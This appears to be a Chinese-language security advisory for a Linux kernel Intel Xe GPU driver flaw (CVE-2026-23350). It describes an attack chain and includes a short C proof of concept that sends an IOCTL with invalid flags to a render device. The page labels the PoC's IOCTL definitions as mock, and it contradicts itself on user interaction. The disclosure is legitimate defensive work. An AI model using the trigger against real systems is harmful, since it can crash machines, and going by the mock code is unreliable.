IPBUF安全漏洞报告
English
CVE-2026-23350 CVSS 7.8 高危

Linux内核 drm/xe/queue 内存引用错误漏洞

披露日期: 2026-03-25
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-23350
漏洞类型
内存破坏 / 拒绝服务
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelMemory CorruptionDoSPrivilege EscalationDRMIntel GPU

漏洞概述

Linux内核的drm/xe/queue组件存在安全漏洞。当执行队列创建失败时,系统未调用相应的fini函数进行清理,导致队列残留在GuC列表中。这种残留的损坏队列会导致无效内存引用,进而引发系统崩溃或潜在的安全风险。该漏洞攻击复杂度低,需本地低权限用户交互即可触发。

技术细节

该漏洞位于Linux内核的Intel Xe图形驱动中。在执行队列初始化过程中,如果创建失败,代码路径缺少了必要的清理步骤。正常逻辑中,`init`调用应配对`fini`调用以释放guc_id并从GuC列表中移除队列。漏洞导致受损队列对象遗留在`exec_queue_lookup`列表中。当系统或应用后续通过该列表查询并操作此队列时,将访问已释放或无效的内存区域。由于CVSS评分达到7.8,且C/I/A影响均为高,这可能导致内核崩溃(DoS)或更严重的内存破坏后果。修复补丁通过重用`_xe_exec_queue_fini()`并修改`xe_lrc_put()`来处理NULL指针,确保在错误路径中也能正确释放资源。

攻击链分析

STEP 1
步骤1
攻击者获得本地低权限用户访问权限。
STEP 2
步骤2
攻击者打开显卡设备文件(如 /dev/dri/renderD128)。
STEP 3
步骤3
攻击者构造恶意参数,通过IOCTL调用触发执行队列创建失败。
STEP 4
步骤4
内核处理失败时跳过 fini 调用,导致损坏的队列对象遗留在 GuC 列表中。
STEP 5
步骤5
系统后续访问该列表时触发无效内存引用,导致系统崩溃或权限提升。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * Conceptual PoC for CVE-2026-23350 * Triggering exec queue creation failure in drm/xe to induce memory reference bug. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <string.h> // Mock IOCTL definitions for illustration #define DRM_IOCTL_BASE 'd' #define DRM_COMMAND_BASE 0x40 #define DRM_IOCTL_XE_EXEC_QUEUE_CREATE (DRM_IOCTL_BASE + DRM_COMMAND_BASE + 0x1) struct drm_xe_exec_queue_create { __u32 flags; __u64 handle; }; int main() { int fd = -1; const char *device = "/dev/dri/renderD128"; struct drm_xe_exec_queue_create args; printf("[*] Opening device %s\n", device); fd = open(device, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } memset(&args, 0, sizeof(args)); // Set invalid flags to trigger creation failure path args.flags = 0xFFFFFFFF; printf("[*] Triggering IOCTL with invalid parameters to cause init fail...\n"); if (ioctl(fd, DRM_IOCTL_XE_EXEC_QUEUE_CREATE, &args) != 0) { printf("[+] IOCTL failed (expected). Bug condition: queue may remain in GuC list.\n"); } if (fd >= 0) close(fd); return 0; }

影响范围

Linux Kernel (受影响的稳定内核版本,参见Git提交记录)

防御指南

临时缓解措施
建议用户尽快应用官方发布的内核补丁。在无法立即升级的情况下,可通过限制非特权用户对显卡设备节点的访问权限来降低被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表